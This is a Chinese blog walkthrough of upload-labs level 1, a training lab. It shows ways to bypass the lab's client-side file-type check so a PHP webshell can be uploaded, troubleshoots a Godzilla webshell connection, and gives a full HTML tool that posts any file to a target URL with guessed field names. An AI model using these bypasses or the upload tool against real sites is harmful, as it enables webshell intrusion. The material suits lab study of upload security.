1-前端校验

1-前端校验

第一关:

判断校验方式:抓包,包还未放行弹窗已经产生,证明是前端校验,禁用JS即可。下面是源码,分析一下

bash 复制代码
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

绕过前端校验的方式:

  1. 禁用JS

  2. 修改数据包

    • 将恶意文件(例如 shell.php)的后缀名临时改为 shell.jpg
    • 开启抓包工具(如 Burp SuiteFiddler)。
    • 在网页上点击上传。此时前端 checkFile() 会因为后缀是 .jpg 而放行。
    • 在抓包工具拦截到的 HTTP 请求包中,手动将文件名从 shell.jpg 改回 shell.php
    • 放行(Forward)请求。此时服务器接收到的是 .php 文件,而前端验证已经被跳过了。
  3. 修改前端源码

    可以直接利用浏览器的开发者工具(F12)来破坏验证逻辑:

    • 控制台绕过: 在 Console 面板直接重定义函数:window.checkFile = function() { return true; };。这样无论上传什么,函数永远返回 true
    • 移除事件绑定: 在 HTML 元素中找到 <form> 标签,删除 onsubmit="return checkFile()" 属性。
    • 修改允许列表: 直接双击编辑器里的代码,把 var allow_ext = ".jpg|.png|.gif"; 改成 ".jpg|.png|.gif|.php"
  4. 构造本地上传表单

    1. 如何找到这个地址?

      1. 打开你正常的靶场上传页面
      2. F12 选择"网络"(Network)标签。
      3. 正常上传一张图片(不绕前端),观察网络请求。
      4. 找到 POST 类型的请求,它的请求URL 就是你需要填到 action 里的地址。
    2. 文件字段的 name ​:必须与后端代码中 $_FILES​ 的键名一致,这里是 ​upload_file

    3. 提交按钮的 name ​:必须存在名为 submit ​ 的 POST 参数(因为后端用 isset($_POST['submit'])​ 判断是否提交),​但它的值可以是任意内容 ​(比如 "upload"​、"1"​、"上传" 都可以)。

      如果无法查看,也就是上传接口不是通过常规手段发现的,那么file的值还需要猜测

    4. 需要关闭浏览器的CORS限制google-chrome --disable-web-security --user-data-dir="/tmp/chrome_dev_test"​(如果系统只有Chromium,则将 google-chrome​ 换成 chromium 即可

      • Chrome / Edge 用户 :在商店搜索并安装 CORS UnblockAllow CORS,点击图标使其变为"激活"状态即可。
      • Firefox 用户 :搜索 CORS Everywhere 扩展,点击使其图标变为绿色即为激活

遇到的问题:无法连接后门,初始化失败

phpinfo执行没问题,php可以正常解析,payload类型是php没问题

upload-labs的php版本就是5.2.17和官方要求一样,eval函数正常执行测试过了,exif扩展也已经打开了

网络连接没问题,URL访问正常,系统代理也已经关闭

解决的方法:PHP_XOR_BASE64 加密器换成这个之后 就可以连接了

真正原因很可能是

PHP_EVAL_XOR_BASE64​ 不仅依赖 gzuncompress​ 存在,还依赖 ​gzuncompress能正确解压来自 Java 端 Deflater压缩的数据 ​。

哥斯拉 Java 客户端的压缩实现与 PHP 的 gzuncompress​ 在​数据格式头部(是否包含 ZLIB 头部、校验和等)可能存在细微不兼容,导致解压失败,进而整个命令执行流程中断。

PHP_XOR_BASE64根本不使用压缩,只做 XOR + Base64,对数据格式要求极低,因此稳定成功。

下面是本地HTML上传工具

php 复制代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>通用本地上传工具 - 支持Name字典</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 30px; }
        .container { max-width: 600px; margin: auto; padding: 20px; border: 1px solid #ccc; border-radius: 8px; }
        label { display: inline-block; width: 120px; margin-top: 10px; }
        input, select, button { margin-top: 10px; padding: 8px; width: 100%; box-sizing: border-box; }
        button { background-color: #007bff; color: white; border: none; cursor: pointer; }
        button:hover { background-color: #0056b3; }
        .note { margin-top: 20px; font-size: 12px; color: #666; }
        hr { margin: 20px 0; }
    </style>
</head>
<body>
<div class="container">
    <h3>通用本地上传工具</h3>
    <form id="uploadForm" method="POST" enctype="multipart/form-data">
        <label>目标URL (action):</label>
        <input type="text" id="actionUrl" placeholder="http://target.com/upload.php" required>

        <label>文件字段名 (name):</label>
        <select id="nameSelect" onchange="document.getElementById('customName').value = this.value">
            <option value="">-- 选择常见name --</option>
            <option value="file">file</option>
            <option value="upload">upload</option>
            <option value="upload_file">upload_file</option>
            <option value="uploadFile">uploadFile</option>
            <option value="myfile">myfile</option>
            <option value="userfile">userfile</option>
            <option value="attachment">attachment</option>
            <option value="attach">attach</option>
            <option value="files[]">files[]</option>
            <option value="avatar">avatar</option>
            <option value="photo">photo</option>
            <option value="document">document</option>
            <option value="resume">resume</option>
            <option value="Filedata">Filedata</option>
            <option value="async-upload">async-upload</option>
            <option value="media">media</option>
            <option value="content">content</option>
            <option value="data">data</option>
            <option value="upfile">upfile</option>
            <option value="shangchuan">shangchuan</option>
            <option value="wenjian">wenjian</option>
        </select>
        <label>或自定义name:</label>
        <input type="text" id="customName" placeholder="手动输入字段名">

        <label>选择文件:</label>
        <input type="file" id="uploadFile">

        <label>额外POST字段 (可选, JSON格式):</label>
        <input type="text" id="extraFields" placeholder='{"submit":"upload"}'>

        <button type="button" onclick="doUpload()">上传</button>
    </form>
    <div id="result" style="margin-top:20px; white-space:pre-wrap; background:#f5f5f5; padding:10px;"></div>
    <div class="note">
        <strong>使用说明:</strong><br>
        1. 填写目标上传接口的完整URL(action)。<br>
        2. 从下拉框选择常见name,或手动输入自定义name。<br>
        3. 选择要上传的文件(可以是.php等)。<br>
        4. 若后端还需要其他字段(如submit、MAX_FILE_SIZE),可在"额外POST字段"中以JSON格式添加。<br>
        5. 点击上传,查看响应结果。<br>
        <strong>注意:</strong> 由于浏览器的CORS限制,如果目标接口与当前页面不同源,可能会被阻止。此时建议用Burp Suite或写一个简单的Python脚本发送请求。
    </div>
</div>

<script>
    function doUpload() {
        var url = document.getElementById('actionUrl').value.trim();
        if (!url) {
            alert("请填写目标URL");
            return;
        }
        var name = document.getElementById('customName').value.trim();
        if (name === "") {
            name = document.getElementById('nameSelect').value;
        }
        if (name === "") {
            alert("请选择或输入文件字段名(name)");
            return;
        }
        var fileInput = document.getElementById('uploadFile');
        if (fileInput.files.length === 0) {
            alert("请选择要上传的文件");
            return;
        }
        var file = fileInput.files[0];

        var formData = new FormData();
        formData.append(name, file);

        // 添加额外字段
        var extraJson = document.getElementById('extraFields').value.trim();
        if (extraJson) {
            try {
                var extra = JSON.parse(extraJson);
                for (var key in extra) {
                    formData.append(key, extra[key]);
                }
            } catch(e) {
                alert("额外字段JSON格式错误:" + e.message);
                return;
            }
        }

        var resultDiv = document.getElementById('result');
        resultDiv.innerText = "上传中...";

        fetch(url, {
            method: 'POST',
            body: formData,
            credentials: 'omit'  // 不携带cookie,如需携带可改成'include'
        })
        .then(response => response.text())
        .then(text => {
            resultDiv.innerText = "响应内容:\n" + text;
        })
        .catch(error => {
            resultDiv.innerText = "请求失败:" + error.message + "\n\n提示:如果遇到CORS跨域错误,请使用Burp Suite或本地代理发送请求。";
        });
    }
</script>
</body>
</html>
相关推荐
liann1191 小时前
Agent 内存马禁止 Attach JVM
java·jvm·安全·网络安全·系统安全·网络攻击模型·信息与通信
сокол2 小时前
【网安-Web渗透测试-内网渗透】内网横向移动——Impacket套件
服务器·windows·网络安全·系统安全
lcreek2 小时前
防火墙配置与外网访问
网络安全
梧六柒4 小时前
Upload-labs 搭建细节及其通关攻略
网络安全
treesforest19 小时前
IP地理位置精准查询:从城市级到街道级的定位技术深度解析
大数据·网络·网络协议·tcp/ip·安全·网络安全·ip
合兴软件@1 天前
合兴软件重磅推出高性能HSM固件 国密算法赋能汽车信息安全新防线
网络·算法·网络安全·汽车·信息与通信
其实防守也摸鱼1 天前
全新安装 SQL Server 并直接设置数据目录到 E 盘 完整步骤
数据库·sql·网络安全·sqlserver·教程·工具
探索宇宙真理.1 天前
Geeky Bot 授权缺失导致RCE | CVE-2026-5294复现&研究
经验分享·网络安全·安全漏洞·geeky bot
Bruce_Liuxiaowei1 天前
2026年5月第2周网络安全形势周报
人工智能·安全·网络安全·系统安全